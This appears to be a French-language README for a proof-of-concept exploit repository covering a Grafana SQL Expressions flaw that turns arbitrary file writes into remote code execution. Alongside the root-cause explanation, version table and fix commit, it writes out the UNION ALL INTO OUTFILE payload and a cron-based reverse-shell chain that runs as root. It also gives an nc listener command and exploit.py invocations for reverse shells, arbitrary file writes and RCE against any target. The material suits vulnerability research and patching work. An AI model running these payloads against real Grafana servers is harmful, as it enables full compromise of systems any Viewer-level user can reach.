
Grafana SQL Expressions Écriture arbitraire de fichier vers RCE
CVSS 9.1 Critique | Écriture arbitraire de fichiers | Exécution de code à distance
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
La fonctionnalité Expressions SQL de Grafana (option sqlExpressions) utilise un moteur SQL intégré au processus (dolthub/go-mysql-server) avec une liste blanche AST défectueuse. Le nœud SetOp (UNION ALL) passe la validation et son walkSubtree() ne parcourt pas l'enfant Into — ce qui permet à INTO OUTFILE d'écrire des fichiers arbitraires sur le système de fichiers du serveur en tant qu'utilisateur du processus Grafana.
Tout utilisateur authentifié (rôle Viewer ou supérieur) peut enchaîner cela jusqu'à une RCE complète via un reverse shell basé sur cron.
| Plage | Affecté | Corrigé |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Nécessite l'activation de l'option de fonctionnalité sqlExpressions.
Deux défauts cumulés dans pkg/expr/sql/ :
parser_allow.go : allowedNode() utilise un retour nommé b = true. Le cas *sqlparser.SetOp renvoie true (autorisé), et SetOp.walkSubtree() ne parcourt PAS le nœud enfant Into. Cela signifie que UNION ALL ... INTO OUTFILE contourne entièrement la liste blanche.
db.go : Le contexte du moteur SQL est créé sans WithDisableFileWrites(true), donc INTO OUTFILE écrit sur le disque.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
Un seul (SELECT ...) INTO OUTFILE produit un nœud ParenSelect qui EST bloqué. Deux parties SELECT ou plus reliées par UNION ALL produisent un nœud SetOp qui contourne la vérification.
1. S'authentifier (le rôle Viewer suffit)
2. POST /api/ds/query avec la source de données __expr__, type "sql"
3. UNION ALL INTO OUTFILE écrit un script de reverse shell dans /tmp/
4. Une seconde écriture place une entrée cron dans /etc/crontabs/root
5. Cron se déclenche dans les 60 secondes -> reverse shell en tant que root
cd lab/
docker compose up -d
# Attendre que Grafana soit sain (~15s)
Grafana s'exécute sur http://localhost:3333 avec les identifiants admin:admin.
Terminal 1 — Écouteur :
nc -lvnp 4444
Terminal 2 — Exploit :
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
Le reverse shell arrive dans les 60 secondes.
# Vérifier si la cible est vulnérable (sans écriture)
python3 exploit.py -t http://TARGET:3000 --check
# Écrire un fichier arbitraire
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Écrire un fichier local sur la cible
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE via le provisionnement de source de données (sans cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Pour relancer l'exploit après une exécution précédente, nettoyez d'abord — INTO OUTFILE ne peut pas écraser les fichiers existants.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514) :
parser_allow.go : case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go : case *sqlparser.Into: return v == nildb.go : mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Analyse complète de la cause racine
├── lab/
│ ├── docker-compose.yml # Laboratoire Grafana 12.4.0 (confirmé)
│ ├── Dockerfile # Image personnalisée avec support cron
│ ├── entrypoint.sh # Démarre crond + Grafana
│ └── setup.sh # Script de configuration automatique
└── poc/
├── exploit.py # PoC complet avec RCE
└── cvss-justification.md
Pour la recherche en sécurité autorisée et les tests en laboratoire contrôlé uniquement. Ne pas utiliser contre des systèmes sans autorisation explicite.